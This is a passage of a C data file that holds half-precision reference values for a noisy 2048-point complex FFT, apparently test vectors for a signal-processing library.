0x4113, 0x358b, 0x4239, 0xc119, 0xbb02, 0x3e42, 0xbe87, 0x3fae,
0x2e15, 0xc142, 0xbbbd, 0xb39f, 0xba91, 0x3d92, 0x3bf9, 0xb836,
0x37d4, 0xbd93, 0x3681, 0x3c42, 0x3922, 0xbb1b, 0xbf41, 0x40f1,
0x359f, 0xa361, 0xb453, 0x4023, 0x4168, 0x37b2, 0x3e1c, 0x3eeb,
0xb4d2, 0x363a, 0xbb8d, 0x3a8a, 0x3904, 0x35eb, 0xbd60, 0xc243
};
static const uint16_t ref_cfft_noisy_2048[4096] = {
0xc501, 0x0, 0xbd60, 0x4243, 0x3904, 0xb5eb, 0xbb8d, 0xba8a,
0xb4d2, 0xb63a, 0x3e1c, 0xbeeb, 0x4168, 0xb7b2, 0xb453, 0xc023,
0x359f, 0x2361, 0xbf41, 0xc0f1, 0x3922, 0x3b1b, 0x3681, 0xbc42,
0x37d4, 0x3d93, 0x3bf9, 0x3836, 0xba91, 0xbd92, 0xbbbd, 0x339f,
0x2e15, 0x4142, 0xbe87, 0xbfae, 0xbb02, 0xbe42, 0x4239, 0x4119,
0x4113, 0xb58b, 0x4372, 0xbbcc, 0xc182, 0xb0e1, 0x3999, 0xba8a,
0xbb87, 0x3f09, 0xb34a, 0x2be3, 0xbe59, 0x3f7e, 0x32eb, 0xb907,
0xbdcb, 0xb7de, 0xb4d5, 0x3a9c, 0x35dc, 0xbf49, 0x3130, 0xba73,
0xbddd, 0x44e9, 0x31de, 0x3f0d, 0x3dbb, 0x3b6a, 0x377c, 0xc22c,
0x3a57, 0xb1d0, 0x3ce1, 0xb152, 0x3960, 0x32f1, 0x3448, 0x3ad8,
0xba4f, 0x3b6b, 0x3cbb, 0xbd23, 0xc066, 0xc2b3, 0x3d57, 0x404d,
0x4050, 0xbd41, 0x38be, 0x4142, 0x3f03, 0xc385, 0xc283, 0x3f23,
0xc00c, 0xbf42, 0xc0af, 0x363e, 0x4179, 0x4139, 0x3550, 0xb108,
0x33c6, 0x4026, 0x3c5e, 0xb98d, 0xb7a7, 0xb969, 0xbf4e, 0xb06a,
0xbcf2, 0x2e88, 0x400d, 0x3daa, 0xbff8, 0xb842, 0xc417, 0x3194,
0x3c65, 0x3a52, 0x3e6f, 0x3b0b, 0xbf64, 0x428b, 0xc409, 0x4011,
0x386b, 0x3ed2, 0xbd17, 0x2ce6, 0xb7b4, 0xc15c, 0x37f4, 0xb780,
0x34ac, 0x37d6, 0xb814, 0xb5ef, 0x40e8, 0x4007, 0xb810, 0xc28e,
0x36b3, 0x2f79, 0xbad7, 0x3cba, 0xbdb6, 0xc0ab, 0xbf36, 0xc2d2,
0x38e4, 0x4243, 0x2cfe, 0x2cfd, 0xba99, 0x366d, 0xc067, 0xbab4,
0xbaa7, 0xb9cc, 0x2e0f, 0x3799, 0xb8cd, 0xc4d2, 0xc3be, 0xbe8d,
0xc46a, 0x3b58, 0x4317, 0xb5b4, 0xb96c, 0x3da3, 0x3394, 0xbd85,
0x3be8, 0x3b74, 0x3c28, 0xbadc, 0xbc3f, 0x36a2, 0x40bf, 0x420a,
0xb813, 0x4048, 0xbe7d, 0xb9ae, 0x3ed8, 0xbe20, 0x3700, 0xc3fa,
0x3763, 0xc010, 0xb6c6, 0xc2dd, 0xb941, 0x340a, 0xb69e, 0x3983,
0x3d2f, 0xbc8e, 0xc204, 0xc478, 0xc114, 0xc405, 0x3eca, 0x384d,
0x317d, 0x3cb8, 0xb256, 0xbba7, 0x3c1d, 0xc169, 0xbfd6, 0xb1a3,
0x3dc5, 0xafc6, 0x404e, 0x3941, 0xbc6b, 0x3b4d, 0xbc67, 0x33f3,
0xbb07, 0xbce8, 0xba2b, 0x3559, 0x39df, 0xc03d, 0xbdd5, 0xb56e,
0x343a, 0xaf56, 0xadc2, 0xc27c, 0xbccc, 0x3e63, 0xbdcd, 0xc058,
0x414e, 0x41a5, 0x3427, 0xb81e, 0x4106, 0xa866, 0x38f3, 0xc0b7,
0x3d6b, 0xc25f, 0xb6c8, 0x384e, 0x3e4b, 0xb8b6, 0xbb93, 0xbbe8,
0x2c38, 0x3952, 0x3f64, 0x3c38, 0xbf88, 0x392d, 0x3fc8, 0xb5a5,
0x18ea, 0xbaea, 0x37c3, 0x3c98, 0xb967, 0xb635, 0x3d14, 0xb4ee,
0x40b2, 0x40da, 0xbada, 0xbf51, 0x3838, 0xc2d0, 0xbff1, 0x3cca,
0xbe58, 0xbd2d, 0xbcc9, 0x4302, 0xc1cf, 0xbde8, 0xbe1a, 0xc2a2,
0x35a9, 0x39de, 0xc13f, 0xbc3d, 0xba88, 0xbeed, 0xbbd3, 0xa83e,
0xbc0a, 0x38f1, 0x3b91, 0x3c65, 0xbdeb, 0xc1d8, 0xb5ed, 0x2e8c,
0xb601, 0xba69, 0xb967, 0xbc83, 0x3a95, 0xc03b, 0x3979, 0x3c2c,
0xc126, 0x3af0, 0x2e38, 0x3c38, 0xc127, 0x4003, 0xb85e, 0x3b7b,
0x3e0c, 0x2fde, 0x436d, 0xbbe2, 0x36c5, 0xa775, 0x33ff, 0xb9d9,
0xafba, 0xbe9a, 0x40b3, 0x3752, 0xc130, 0x4460, 0x3b44, 0xc126,
0x3d44, 0x4352, 0x3ca6, 0x408c, 0x3c36, 0xb8ee, 0xc1bf, 0xb80e,
0x4053, 0x3944, 0xb807, 0x38fb, 0xb25d, 0xbc69, 0x3e7e, 0xba5b,
0x3b16, 0x39fa, 0x3ba6, 0x3391, 0xbb47, 0xbc13, 0xaf6b, 0xb81f,
0xbd66, 0xb8a4, 0x3660, 0xb713, 0xbac1, 0xbdcc, 0xb93a, 0x3ddf,
0xbdb8, 0xc27f, 0xb657, 0xb698, 0x3412, 0x4093, 0xbf39, 0xc118,
0xb00f, 0x3c48, 0xb440, 0xbeb1, 0xbd54, 0xbd21, 0xb4d8, 0xbfaa,
0xbdc2, 0x39ec, 0xbf7e, 0xbd33, 0x209c, 0xae16, 0x4034, 0xbde8,
0xbbd3, 0x3ecf, 0x3fcb, 0xc07b, 0x40d8, 0x41e7, 0x368b, 0x3dd3,
0x3ad8, 0x40c3, 0xbef6, 0x3e43, 0xc0f6, 0x3859, 0xc2d5, 0x2c95,
0x4111, 0xbf16, 0x3a64, 0xbaae, 0x4082, 0x3f63, 0xb57d, 0xbfaa,
0xb3f8, 0x3a75, 0xa919, 0x397c, 0x3f56, 0x3b11, 0xc09b, 0xb6ab,
0x410a, 0x3feb, 0xc139, 0xbc5e, 0x4074, 0xc149, 0x3aa7, 0xb2c8,
0x38dc, 0x35e3, 0x39f1, 0x3dee, 0xbb2c, 0xa8e3, 0x3d83, 0x3a50,
0x3c1d, 0x3d5b, 0x34da, 0xb627, 0xbe99, 0xb3af, 0xb9c9, 0x4128,
0xc0ce, 0x3cc7, 0xbe9c, 0xbda4, 0x3af4, 0xbfc9, 0xbc07, 0x35d7,
0xbf3a, 0xbe0b, 0xc02d, 0x3d51, 0xbc21, 0x3cea, 0x345f, 0x414f,
0x3d16, 0xb550, 0x3948, 0xbc55, 0x3eba, 0x3dbc, 0x4011, 0xbe42,
0x3f14, 0xb96d, 0x3c80, 0xbd75, 0x3b67, 0x2403, 0x3cba, 0xbc5c,
0xb89f, 0xac1a, 0xae73, 0x3752, 0x3518, 0xc225, 0x4100, 0xbb61,
0xb40f, 0x3882, 0xbc91, 0x3dd9, 0xb5be, 0x3c4a, 0x3ea2, 0x3ee8,
0x31d7, 0x43e0, 0x2cba, 0x419c, 0xb955, 0xc088, 0xb829, 0xbdd1,
0x3ea0, 0xbc2e, 0x3822, 0xc058, 0x3446, 0xc1bf, 0xc247, 0x3def,
0x38bd, 0xe19b, 0xb684, 0x3cae, 0xbb60, 0x43f4, 0xadee, 0x3fe3,
0x410e, 0x3eca, 0x3b26, 0xadee, 0x3d54, 0x3f45, 0xbc9b, 0xc549,
0xbe65, 0x40b2, 0xbe0b, 0xb8e7, 0x3c03, 0xb4ad, 0x3ddf, 0xb980,
0xbded, 0x3ee7, 0x42c1, 0x411c, 0xb09f, 0xbe75, 0x2c99, 0x23fc,
0xb975, 0x3cfd, 0xc218, 0xb5d8, 0xba14, 0x3dbe, 0x3bb0, 0x3ac1,
0xbbaf, 0xb45c, 0x389e, 0x37d1, 0x3a52, 0xb1e6, 0x3818, 0x4151,
0x345a, 0x3e95, 0xb4d2, 0xab4c, 0x3aec, 0x3f6e, 0x357e, 0x3598,
0x3709, 0x4280, 0xb690, 0xbeeb, 0xb434, 0xbfb5, 0x3e62, 0x2d59,
0xb81a, 0x426b, 0xc074, 0xc024, 0xb5f8, 0xbafd, 0xb7eb, 0x3bcf,
0x3eb1, 0x3c4f, 0xbffd, 0xb7ba, 0x3a71, 0xc022, 0x3a71, 0xbcb3,
0x3ff8, 0x3cc5, 0xb467, 0xbf56, 0x26c2, 0xbab9, 0x407b, 0x3c82,
0x3825, 0xba04, 0xb5ac, 0xc389, 0x3eef, 0x40ea, 0x4193, 0x355d,
0xbe70, 0x3b79, 0xba7e, 0x4003, 0xbc68, 0xb2f4, 0xbcf6, 0x3cdb,
0x3df5, 0xb5d5, 0xb623, 0x3b29, 0x39c2, 0x3855, 0x400a, 0x3b13,
0xc024, 0xbac3, 0xc2aa, 0xa9a7, 0xb488, 0xc050, 0xbc6c, 0xc117,
0xb92e, 0x3354, 0xbf5f, 0x40e2, 0x3c6e, 0xc096, 0xc096, 0xb86e,
0xbc21, 0xaff2, 0x3a86, 0xc151, 0xbb8c, 0x3803, 0x3a20, 0x3252,
0xc02f, 0xbe01, 0x33db, 0xbef6, 0xbfab, 0x3f27, 0xbec2, 0xb3c4,
0x37fb, 0xc07f, 0xbf7d, 0xbef8, 0xbca2, 0x3a27, 0xbfa8, 0x2d71,
0xbdec, 0x3c11, 0xbd99, 0x3981, 0xbeb1, 0xbe42, 0x3e25, 0xb428,
0x3bd3, 0x3f3a, 0x40bf, 0x3f55, 0x382c, 0xbec1, 0xbcf8, 0xc20e,
0x3600, 0x3c72, 0x3ade, 0xb93a, 0xc178, 0xbe7b, 0xb333, 0xc156,
0x41d0, 0xc0f6, 0xb4ca, 0xbec9, 0xb032, 0x38ed, 0x3e78, 0x3e10,
0xbfb6, 0xb87d, 0x3550, 0x3c62, 0xb02b, 0x39cd, 0x3b19, 0x3944,
0xc389, 0x3cac, 0x3e5e, 0xb4d3, 0x3f62, 0xb43a, 0xb9ec, 0xba30,
0xbf98, 0xc000, 0xb14f, 0x423b, 0x3dcf, 0xbcb2, 0xbb38, 0x3bb2,
0xbc3d, 0xc0da, 0x2c73, 0x3ba6, 0xb166, 0xbd50, 0xbd98, 0x325f,
0x4144, 0xc025, 0x41f0, 0xbaf4, 0xb902, 0xbac1, 0xbdeb, 0x3f44,
0x3ff9, 0x3e1d, 0xc39a, 0x3a17, 0x34ba, 0x3c9f, 0xa042, 0xc04f,
0x3292, 0x3e90, 0x3a39, 0x36ce, 0x40a6, 0x3d01, 0xbacc, 0xb46b,
0x3b3a, 0xb61e, 0xba57, 0xc1a9, 0xc126, 0xbc0b, 0x3cd5, 0x3d6b,
0x3813, 0x3b1a, 0x42f5, 0xb5fe, 0xc013, 0x364a, 0x3cb5, 0x3ebe,
0x41ed, 0xaf34, 0x3eb3, 0xbf4e, 0x4041, 0xb6c5, 0x3a9b, 0x36a3,
0x3e04, 0xbc0b, 0x4417, 0x3c29, 0xbabe, 0xc00d, 0x3ae1, 0x40b9,
0x3be2, 0xb700, 0xc021, 0x2bee, 0xc318, 0xb8fc, 0xbd9b, 0x38d9,
0x39d3, 0x3795, 0xb9b8, 0xbd6a, 0x3d9b, 0x39ee, 0x3d4f, 0xbe55,
0xbee5, 0x3d03, 0x3ab5, 0xbb77, 0x350d, 0xba31, 0x3709, 0xbfaa,
0xc41e, 0xbf3b, 0x39e0, 0x385e, 0x3014, 0xb769, 0x40d2, 0xbc59,
0x416f, 0xb254, 0xb8fe, 0x3b13, 0x3973, 0x289e, 0xbd1c, 0x3ef8,
0x4125, 0xbe6a, 0x3f46, 0xbc01, 0x4017, 0x3d9f, 0xb897, 0x3bb8,
0x9fa2, 0xb189, 0x3d54, 0x3af0, 0x30f6, 0x42b4, 0x4065, 0xbeb9,
0xbed5, 0x311c, 0x3450, 0xbdbb, 0x3873, 0xbc7e, 0xc0da, 0x3d7f,
0x3dbb, 0x3c0d, 0x2cba, 0x318e, 0xb9e5, 0xbc33, 0x3d2b, 0x3b6a,
0xc06d, 0x3908, 0xbafc, 0x3c18, 0x392e, 0x381f, 0xc2ad, 0xbeef,
0xb89b, 0x3f21, 0xc2eb, 0x3ac4, 0xbc07, 0xbcb2, 0xa652, 0xbc76,
0x3855, 0xc006, 0x3ff7, 0xb9c4, 0xbdcc, 0xc206, 0xb8c4, 0x3dc9,
0xc249, 0x3c8d, 0xb27d, 0x414c, 0x38b7, 0xb704, 0x4363, 0x3d27,
0x40c7, 0xc0dc, 0xb9c1, 0x41ae, 0xc035, 0x2fbe, 0x425a, 0x3f8f,
0x3bc3, 0xa98c, 0xc08d, 0xbdc9, 0x2110, 0x4012, 0xbedb, 0xbbc4,
0x3fe3, 0xaf4e, 0xc104, 0xbc87, 0xbf22, 0xc08f, 0xb91e, 0x360a,
0x3faf, 0xb55a, 0x40cc, 0xbe65, 0x426d, 0xa440, 0xaee9, 0x371c,
0xbc2b, 0x3c83, 0xbc14, 0xbed2, 0x3698, 0x3777, 0xc07b, 0xb8a3,
0xc22a, 0x3c74, 0x3c6e, 0xbf69, 0x36d0, 0xbb21, 0xb0fe, 0xba43,
0xba9e, 0xb597, 0x3711, 0x3c28, 0x40a9, 0xbe04, 0x40ae, 0xb8aa,
0xb434, 0xb51e, 0xb697, 0xbd3d, 0xb6b4, 0x330d, 0x3c45, 0xb53c,
0x39c0, 0xc0aa, 0x4176, 0xc0d4, 0x31ad, 0x4295, 0xbc57, 0xbc87,
0x3b92, 0xb062, 0x3d26, 0x3cd6, 0x3d4f, 0x3de5, 0xb6ea, 0x4100,
0x3471, 0xbbfb, 0xbdc0, 0x41f8, 0x3d10, 0x3b2c, 0xbd64, 0x3f9a,
0xb4ed, 0xc106, 0xbcd7, 0xbb99, 0xbe19, 0x436f, 0x409f, 0xc29a,
0xac14, 0xb978, 0xb4fc, 0xbcb3, 0xc1b2, 0x3fa7, 0x40d1, 0x413b,
0x2422, 0x4410, 0x2e0f, 0xb483, 0xbddc, 0xa99a, 0x3af4, 0xbe20,
0xc3cc, 0xc063, 0xbc79, 0xb4dc, 0x3aed, 0x3ca9, 0xadf0, 0x41ae,
0x3f65, 0xbe61, 0xbeec, 0xb203, 0xb97b, 0xc0b3, 0x3d03, 0xc0db,
0xb972, 0xba3a, 0xbb47, 0x3e8e, 0xc304, 0xbc04, 0xbb35, 0x3a4c,
0x3965, 0x3ca4, 0xb8a6, 0xc203, 0x372e, 0xbabb, 0xbb27, 0xc041,
0x426d, 0xbba9, 0xbadf, 0xbadd, 0xbda3, 0xb3b0, 0x3070, 0xbe49,
0xb854, 0xb539, 0x1870, 0xb658, 0x39d0, 0xc426, 0x2f13, 0xb868,
0x3599, 0x3c01, 0xade3, 0xbeb6, 0xbff2, 0x3cdc, 0xbc8b, 0xbde2,
0x2e92, 0x3852, 0x2e92, 0xbadc, 0xb804, 0x39a6, 0x4152, 0xc4ac,
0x39cd, 0xc09f, 0x3f54, 0xbee3, 0x3882, 0xbfe7, 0xbab8, 0xb485,
0x42a6, 0x361d, 0xc10b, 0x3e03, 0x40dc, 0xbc91, 0x3826, 0x399d,
0xc244, 0xb933, 0xbb88, 0x3ebf, 0x38fe, 0xb971, 0x40b0, 0x3f61,
0xb8fc, 0xbca9, 0x2f16, 0x4131, 0xc0dd, 0xb412, 0xbab0, 0x3c3f,
0x3ff0, 0xbabe, 0x2519, 0x37c3, 0xbe1e, 0xb862, 0xbffd, 0xc41f,
0x3f40, 0xc238, 0x457c, 0xc00e, 0xa4b1, 0xbcbe, 0x3dd8, 0xbf54,
0x359c, 0x4299, 0x3d5d, 0xb863, 0xb8b8, 0x3718, 0xbc56, 0xba18,
0x41a2, 0x3775, 0xb327, 0xbcc2, 0x388c, 0xbed7, 0xb6a8, 0x354e,
0x3bd4, 0xc2b0, 0x4050, 0xb5e6, 0x3607, 0x3773, 0xb842, 0xaea2,
0xa8dd, 0x3bf3, 0x424f, 0xb97a, 0xb4bd, 0x3c22, 0x3cf7, 0x4117,
0x3abd, 0xbd95, 0x3d3c, 0xb317, 0x2d14, 0xc08c, 0xc106, 0xade2,
0x404e, 0xc15d, 0xc065, 0x41b9, 0xbe00, 0x415b, 0xbd09, 0x2ee3,
0x40c4, 0x3d62, 0x3e94, 0xbef4, 0x41cd, 0xc025, 0xbb81, 0xb958,
0xacef, 0x4246, 0x4361, 0xbc1e, 0x354f, 0xbf19, 0xbd61, 0x3485,
0x3dbc, 0xbf5f, 0x3e2e, 0x40b3, 0xbadc, 0xbd20, 0xbe51, 0x3c19,
0x3b6c, 0xc0b7, 0x2dd6, 0xc0a3, 0x35c3, 0xbc09, 0x3170, 0xba04,
0xc281, 0x2e2f, 0xbe7b, 0xbe85, 0xba31, 0x3e58, 0xb99b, 0x3d54,
0xbfdd, 0x3edc, 0x3fac, 0x3c37, 0xbd0b, 0xb9cb, 0x3490, 0xc1bf,
0xbbf5, 0xa684, 0x3e12, 0xb613, 0xbc7b, 0x42e6, 0xb7b7, 0x4235,
0xbe82, 0xac1c, 0x341f, 0xbdeb, 0x3c56, 0xb958, 0x3b4d, 0xbad1,
0xb4dc, 0xc06c, 0xb69b, 0x3ed2, 0xb3b4, 0x3832, 0x4116, 0xbc1a,
0x3279, 0x3e6f, 0xbcf5, 0xbd73, 0xc3fe, 0x414d, 0xb586, 0x3ca1,
0x3e4c, 0xbc17, 0x321e, 0xaf38, 0x3ac4, 0x3b07, 0x384a, 0x42be,
0xbcd0, 0x3979, 0x3719, 0x37cd, 0xb515, 0x3113, 0x40f3, 0x341a,
0xbc3c, 0x3b07, 0x3630, 0xbff3, 0xb38e, 0xb87d, 0xb932, 0xc186,
0xc0d0, 0x26e4, 0x32b9, 0x20c3, 0xbf82, 0x3b90, 0x3c9b, 0x3dbb,
0xbb10, 0x35b5, 0xbaa9, 0xba0e, 0xb886, 0xb75f, 0xbe78, 0xb6b9,
0x311d, 0x4301, 0xc36d, 0x3d80, 0xbf04, 0x3ca4, 0xbb0d, 0xc3aa,
0xb175, 0x3af8, 0xc292, 0xb68b, 0x3ca0, 0x421a, 0x3f35, 0xb54c,
0xbe96, 0xb357, 0xb828, 0x374e, 0xb031, 0x383c, 0xb767, 0x3867,
0xc060, 0xbdd8, 0x3e73, 0x3bb2, 0x3e47, 0xbfd7, 0x35c6, 0xbae6,
0x3f2a, 0x3c3a, 0xb2ca, 0xbd6e, 0x381c, 0x40b9, 0xb8ab, 0xbe0c,
0xbe12, 0xc03e, 0xc10b, 0x40c4, 0x3ab1, 0x3aaf, 0xba0c, 0x3ecd,
0xbb89, 0x3c11, 0xc09e, 0xbf61, 0xb89b, 0x3fe8, 0x3971, 0x3beb,
0x2e73, 0xbece, 0x3df0, 0x3a1e, 0x3c90, 0xbc7e, 0x4083, 0xbdd7,
0x2deb, 0xb44f, 0xb0f1, 0xb6b3, 0x326a, 0x3a1d, 0x2e13, 0xb977,
0x35eb, 0xbbd0, 0xbd15, 0x3c61, 0x3b00, 0xbdf6, 0xc15a, 0x3d6f,
0xbba7, 0x356b, 0x42b1, 0xb57d, 0xb865, 0x368b, 0x40ab, 0xb8c5,
0x3d8a, 0xbb73, 0xbc4c, 0xc34a, 0x35c6, 0x3fc1, 0x4056, 0x30f5,
0x38e3, 0x3b8b, 0xd2e, 0xc095, 0xc0d2, 0x3a83, 0x407b, 0x3c44,
0x404a, 0xc07f, 0x28d3, 0xb8c6, 0xbf8f, 0xb79c, 0x32d7, 0xbf83,
0xbe5d, 0xbbfe, 0x3bf2, 0x3c6c, 0xc1dc, 0xbc92, 0x3025, 0xc1a3,
0xb586, 0x38c5, 0x3c3c, 0x4403, 0x337c, 0x3a79, 0x39d2, 0x3deb,
0x36b3, 0x3ba3, 0x4113, 0xc0b9, 0xc13a, 0xb519, 0xbf6e, 0xbcc7,
0xba2f, 0x3916, 0x3e25, 0x3543, 0xbc4c, 0xb6f9, 0xafb9, 0x3ff7,
0x3e62, 0xb988, 0x3ad1, 0xbcad, 0xa5b8, 0x40b7, 0xc0c3, 0xc2a6,
0x34e8, 0xc063, 0xb968, 0x3aa2, 0xbdb0, 0x2a9c, 0xbf11, 0x3947,
0x3e51, 0x3f5a, 0xc279, 0x39d7, 0xbedc, 0xc0f6, 0xb606, 0xbef5,
0xb38f, 0x414b, 0x3e29, 0xbd13, 0x3ebe, 0x33cc, 0xc1d6, 0xb070,
0xbbac, 0xb029, 0xc4ca, 0x3f34, 0xbe5e, 0x332c, 0xa992, 0xac76,
0x4030, 0xbdc5, 0xb9d1, 0x3883, 0xae36, 0xb4d0, 0x3d10, 0xc1af,
0xbda2, 0xc116, 0x3c3a, 0x39a3, 0x402b, 0x42f9, 0xacbd, 0x386b,
0x345e, 0x4169, 0xbbc1, 0x3d2b, 0x406d, 0x3b48, 0x3f5f, 0xbeab,
0xbf57, 0x3a19, 0x3f84, 0xb3c9, 0x336e, 0x3b52, 0x3ddc, 0xb98f,
0xb884, 0x3d00, 0xbd26, 0xb700, 0xb654, 0xb0a8, 0x397a, 0x3c61,
0x39f0, 0x3a7d, 0x40d4, 0xbf9f, 0x4161, 0xbe72, 0x3d1d, 0xb99f,
0xc075, 0xb87d, 0x417a, 0xb720, 0xb987, 0x3490, 0x2fc5, 0x3de3,
0x3a14, 0xbf89, 0x3e26, 0xbfbb, 0x3f47, 0x41d1, 0xb619, 0xbbab,
0x3d84, 0xb0a6, 0x34a5, 0x3461, 0xb45d, 0x3b3f, 0x3db6, 0xba40,
0x32cc, 0xb82a, 0x3972, 0x3712, 0xbfa6, 0x3da9, 0xbff1, 0x3960,
0xc1ed, 0xada4, 0x3cfe, 0x3c1e, 0xb6e4, 0x3acf, 0x400c, 0xc05d,
0x3f1d, 0xaf4c, 0x3a89, 0xbbee, 0xbe3b, 0xbc49, 0x32b5, 0xb8c1,
0xc22f, 0x3264, 0xafd3, 0xbb58, 0xbb52, 0x3a84, 0xb32c, 0x33c9,
0xbe96, 0x3ed2, 0x3c16, 0xbe2a, 0x3ade, 0x3c14, 0x3e55, 0xbae8,
0x3981, 0xbc8d, 0xc0f9, 0xbf15, 0x4122, 0x3bad, 0x43c2, 0x3ac6,
0x3e92, 0xbdee, 0x3bb9, 0x3dd5, 0x3775, 0x42c5, 0xbcc1, 0xb580,
0x3557, 0xa02c, 0x382c, 0x3d67, 0x407a, 0x37ee, 0xbd29, 0xb98d,
0xb1cd, 0xbd6d, 0x40f5, 0xbd92, 0x2f23, 0x427c, 0xbe19, 0x3dc4,
0x3bf9, 0xb547, 0xc1da, 0xb831, 0x3f10, 0x3b10, 0x3593, 0xc01f,
0xbc44, 0x3aaf, 0xb6e6, 0xb331, 0xb55d, 0xba68, 0x347c, 0xbeb9,
0xbe99, 0x3c38, 0xc25d, 0x4285, 0xb939, 0x3022, 0xc59a, 0x418a,
0x3e69, 0xbbe5, 0xbae8, 0x3aa4, 0x42e2, 0x405c, 0xbf7d, 0x3e01,
0x3fe7, 0x3a0a, 0x3f5a, 0x3c27, 0x3f42, 0xc00b, 0x28b3, 0xae9e,
0x35b5, 0xc106, 0xb850, 0x3e28, 0xc216, 0x3c85, 0x420b, 0x3a23,
0x441c, 0xc67d, 0x3f72, 0xbea9, 0x2e38, 0xbadd, 0xa482, 0xbc24,
0x3502, 0xb666, 0x404c, 0xba29, 0x3fe8, 0x37ee, 0x3fdc, 0x3988,
0xbc66, 0xc3c9, 0x4301, 0x3f37, 0xc426, 0x41a2, 0x3cf3, 0xb7b8,
0xb465, 0x4059, 0xc12b, 0xbfaa, 0xbbaa, 0x3bb9, 0x3c41, 0x3d45,
0xc0cf, 0x3e13, 0xa56c, 0x39b0, 0x3095, 0x3847, 0x3a9a, 0xbb3d,
0x34d9, 0x3e38, 0x3e38, 0x427f, 0x3bdb, 0xbb86, 0xb735, 0x3ae0,
0xb51e, 0xb3b0, 0x40e9, 0xbb0a, 0x410b, 0xb920, 0xbcb7, 0x3b95,
0xb4ba, 0xbdb4, 0x3028, 0x409b, 0x3aaf, 0xbc24, 0x3be0, 0x419f,
0x3f3a, 0xbe64, 0xb0de, 0x33f0, 0xb7a5, 0xb4fd, 0xb839, 0xbde0,
0x2301, 0xc11b, 0x3a93, 0x3772, 0xbd0a, 0xc060, 0x397b, 0x38b1,
0xbc61, 0x3ee0, 0xba4c, 0xbe47, 0x355e, 0x30b2, 0xbad9, 0x407f,
0xc250, 0x39f2, 0x3f0b, 0xba0c, 0x3976, 0xbec7, 0x402e, 0x3dd8,
0x3323, 0x38bd, 0xb6dc, 0xb7c7, 0xb863, 0xbcd2, 0xbc5d, 0x3bbe,
0x3921, 0x396b, 0xb8e0, 0x34c0, 0x33ce, 0x3963, 0x31dc, 0xbd43,
0xbb4d, 0xb9c6, 0x374f, 0xbe12, 0x3d79, 0x3a18, 0x3e71, 0x36b9,
0xba62, 0x3f0a, 0xbe20, 0xc1e1, 0xc1df, 0x40bf, 0x35f7, 0xba6a,
0x3d35, 0xbab2, 0x3ce4, 0x2c94, 0x3784, 0x4035, 0xbe64, 0xbb9b,
0xbe1b, 0x409e, 0x3b56, 0x33d6, 0x3c33, 0x34cf, 0x3fd5, 0xc345,
0xc0b0, 0xbd8b, 0x36aa, 0x4157, 0x2916, 0x4054, 0x3ed6, 0xbc22,
0x32fd, 0xc070, 0xb9ca, 0x3eb7, 0x3e98, 0x35ca, 0x3e7e, 0x3e4d,
0x4048, 0xb856, 0x417e, 0x44e9, 0xbc9a, 0xc043, 0xbd4d, 0xc254,
0xbc1e, 0xbf45, 0x27d0, 0xc0ab, 0x4324, 0x331e, 0xbe59, 0xc1d7,
0xc1b4, 0xbf67, 0x37e1, 0xacce, 0xbcbd, 0x3a58, 0x38d3, 0xb959,
0xc30c, 0x3595, 0x4152, 0x427f, 0xc13e, 0xc408, 0x3d26, 0x3a4f,
0xbc13, 0x3c65, 0x40c8, 0xbd7d, 0x35a5, 0xc05d, 0x3e4c, 0xa591,
0xbf47, 0xbd0c, 0xbff0, 0xbb40, 0x38dc, 0xb41b, 0xc220, 0x42ea,
0xc196, 0x2def, 0xb4dd, 0x4106, 0x3041, 0x3c32, 0xb286, 0xbd3e,
0xb5dd, 0x38d8, 0xad0a, 0xbad0, 0x3ef6, 0x3ca1, 0x3257, 0x3d5b,
0x40e3, 0x41d0, 0x3954, 0xba9a, 0xb189, 0xc156, 0xb633, 0x327e,
0xb98d, 0x2b44, 0x412b, 0xa47c, 0x3913, 0xad8a, 0xb978, 0x3b46,
0x3a79, 0xb7f8, 0xb2ee, 0xb4d4, 0xb5a7, 0x3e82, 0xbb53, 0xbc41,
0x3c1b, 0x40af, 0xb358, 0x43d9, 0x3db3, 0xb57e, 0x3cca, 0xb35d,
0xbc52, 0xbd99, 0x3d45, 0x32d5, 0x146a, 0x3f34, 0x38fc, 0x30e8,
0x3520, 0xc312, 0x3d13, 0x3b0f, 0xbaa5, 0x416a, 0xb741, 0xa912,
0x3477, 0xbeb1, 0x42c8, 0xb7f8, 0x3b38, 0x3826, 0x31ba, 0xbfb2,
0xb644, 0xc0c3, 0x365f, 0x404a, 0xc04f, 0x3ecf, 0xb653, 0x37c0,
0xbe42, 0xbe83, 0x39b9, 0xbc32, 0x36bb, 0xb3c5, 0x3a93, 0xb9d1,
0x43f5, 0x4056, 0x3e75, 0x3af6, 0xbecf, 0xb48b, 0x3c25, 0xc1a1,
0xc08b, 0xc0fe, 0x4052, 0x1988, 0x41e4, 0xbd66, 0x3a15, 0xbd8f,
0xbb52, 0x3deb, 0x3596, 0xc28f, 0x3858, 0xbf9d, 0x38a4, 0x3b8a,
0xb53f, 0x3c6d, 0x37a8, 0xbe7b, 0xbe03, 0x3aab, 0x3972, 0x405a,
0xbaaa, 0xae56, 0xbf14, 0x3705, 0xb064, 0x34a4, 0xba34, 0x3c57,
0xac3d, 0x41b9, 0x3e91, 0x3a23, 0x2e8f, 0x37a7, 0x3f49, 0x37f4,
0x3853, 0x3f01, 0x3fb3, 0x3a7a, 0xaeba, 0x312e, 0x4116, 0xc040,
0x3ef4, 0xbd96, 0x3ed5, 0x3754, 0x3a23, 0xba04, 0xb6c2, 0x4090,
0xc33f, 0xbc49, 0xc368, 0x3bf0, 0x3fb3, 0xba83, 0xc1f4, 0xbdfb,
0xa910, 0xb8bf, 0x3fdf, 0x38b6, 0x447f, 0xc1ea, 0xba78, 0xc034,
0xc16f, 0x391e, 0xbf54, 0xbc67, 0xbacc, 0x3fb9, 0x4051, 0x3879,
0xb6c8, 0xc04d, 0xbc5b, 0xa30b, 0xbf2e, 0x3b87, 0x4048, 0xb640,
0x3b0d, 0x0, 0x4048, 0x3640, 0xbf2e, 0xbb87, 0xbc5b, 0x230b,
0xb6c8, 0x404d, 0x4051, 0xb879, 0xbacc, 0xbfb9, 0xbf54, 0x3c67,
0xc16f, 0xb91e, 0xba78, 0x4034, 0x447f, 0x41ea, 0x3fdf, 0xb8b6,
0xa910, 0x38bf, 0xc1f4, 0x3dfb, 0x3fb3, 0x3a83, 0xc368, 0xbbf0,
0xc33f, 0x3c49, 0xb6c2, 0xc090, 0x3a23, 0x3a04, 0x3ed5, 0xb754,
0x3ef4, 0x3d96, 0x4116, 0x4040, 0xaeba, 0xb12e, 0x3fb3, 0xba7a,
0x3853, 0xbf01, 0x3f49, 0xb7f4, 0x2e8f, 0xb7a7, 0x3e91, 0xba23,
